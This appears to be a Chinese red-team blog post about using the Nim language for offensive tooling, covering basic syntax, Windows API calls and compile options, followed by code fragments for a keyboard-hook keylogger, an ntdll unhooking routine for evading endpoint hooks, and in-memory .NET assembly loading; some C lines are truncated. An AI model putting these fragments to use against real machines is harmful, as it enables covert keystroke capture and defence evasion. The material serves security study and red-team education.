一、技术背景
本文将从蓝军研究人员的角度对Nim语言的优势和利用面进行分析,希望能对读者有所启发。
二、Nim语言优势分析
# Nim语言实现0-9的循环输出
for i in 0 .. <10:
echo(i)
// C++ 实现0-9的输出
#include <iostream>
using namespace std;
int main()
{
for (int i = 0; i < 10; i++)
{
cout << i << endl;
}
return 0;
}
使用C语言执行MessageBox弹窗和用WinExec执行计算器,代码如下:
#include <windows.h>
int main(int argc, char* argv[])
{
MessageBoxA(0, "Hello, world !", "MessageBox Example", 0);
WinExec("calc.exe", SW_SHOW);
return 0;
}
proc MessageBoxA*(hWnd: int, lpText: cstring,
lpCaption: cstring, uType: int32): int32
{.discardable, stdcall, dynlib: "user32", importc.}
MessageBoxA(0, "Hello, world !", "MessageBox Example", 0)
proc WinExec*(lpCmdLine:cstring,uCmdShow:int32): int32
{.discardable,stdcall,dynlib:"kernel32",importc.}
WinExec("calc.exe",0)
nim c --cpu:amd64 --os:linux --compileOnly --genScript .\crossCompileTest.nim
nim c -d:danger -d:strip --opt:size .\begin.nim
三、Nim语言基本语法
# 1. 打印输出
echo "Hello World"
# 2. 变量声明和赋值 - 变量名:变量类型
var var1: int # int类型
var var2: string # 字符串类型
var1 = 3
var2 = "str"
# 3. 控制流
# 3.1 if-else
if var1 == 3:
echo "True"
elif var1 > 3:
echo "bigger"
elif var1 < 3:
echo "smaller"
# 3.2 switch case
case var1
of 3:
echo "Case:Yes,it's 3"
else:
echo "Case:No,it isn't 3"
# 3.3 for countup是迭代器,相当于python的range
for i in countup(1,10):
echo i
# 3.4 while,break 用法,与python相近
while var1 == 3:
echo "while:Yes,it's 3"
break
# 4. Procedures 使用,相当于 函数
# discardable 用于 声明 返回值类型为 “丢弃”
proc Addpro(x, y: int): int {.discardable.} =
return x + y
echo(Addpro(3, 4)) # 输出返回值
# 5. 高级数组类型
# 5.1 数组类型,大小固定不变
type
IntArray = array[1..5, int] # 索引从1到5,元素数量为5个
var arr: IntArray
arr = [5,10,15,20,25]
for index, val in arr:
echo "Index: ", index, " Value = ", val
# 5.2 sep序列类型,相当于动态数组或python的list
var arrSep: seq[int] #
arrSep = @[5,10] # 赋值方式和数组一样用[],但前面多了个@符号
echo arrSep
# ... 有更多结构体在nim官方文档可查
# 6. 引用和指针
type # 自定义一个对象,相当于结构体
MyObj = object
name: string
age: int
var obj1: MyObj
obj1 = MyObj(name:"I",age:12)
echo obj1
echo sizeof(obj1) # sizeof(name) + sizeof(age) = 8
# 7. FFI使用,Nim语言最终编译成C语言,所以使用FFI很方便
proc strcmp(a, b: cstring): cint {.importc: "strcmp", nodecl.}
let cmp = strcmp("C?", "Easy!")
echo cmp
四、Nim在蓝军武器中的实例
# hook回调函数
proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} =
if nCode >= 0 and wParam == WM_KEYDOWN:
var keypressed: string
var kbdstruct: PKBDLLHOOKSTRUCT = cast[ptr KBDLLHOOKSTRUCT](lparam)
var currentActiveWindow = GetActiveWindowTitle()
var shifted: bool = (GetKeyState(160) < 0) or (GetKeyState(161) < 0)
var keycode: Keys = cast[Keys](kbdstruct.vkCode)
if shifted and (keycode in KeyDictShift):
keypressed = KeyDictShift.getOrDefault(keycode)
elif keycode in KeyDict:
keypressed = KeyDict.getOrDefault(keycode)
else:
var capped: bool = (GetKeyState(20) != 0)
if (capped and shifted) or not (capped or shifted):
keypressed = $toLowerAscii(chr(ord(keycode)))
else:
keypressed = $toUpperAscii(chr(ord(keycode)))
echo fmt"[*] Key: {keypressed} [Window: '{currentActiveWindow}']"
return CallNextHookEx(0, nCode, wParam, lParam)
# hook键盘的函数
var hook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) HookCallback, 0, 0)
# 使用emit 实现嵌入
{.emit: """
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <psapi.h>
int ntdllunhook()
{
HANDLE process = GetCurrentProcess();
MODULEINFO mi;
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZE
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize,
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWOR
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize,
}
}
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
return 0;
}
import winim/clr
var buf: array[,byte] = [...] # 省略要执行的assembly
var assembly = load(buf)
var arr = toCLRVariant(commandLineParams(), VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
五、总结
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。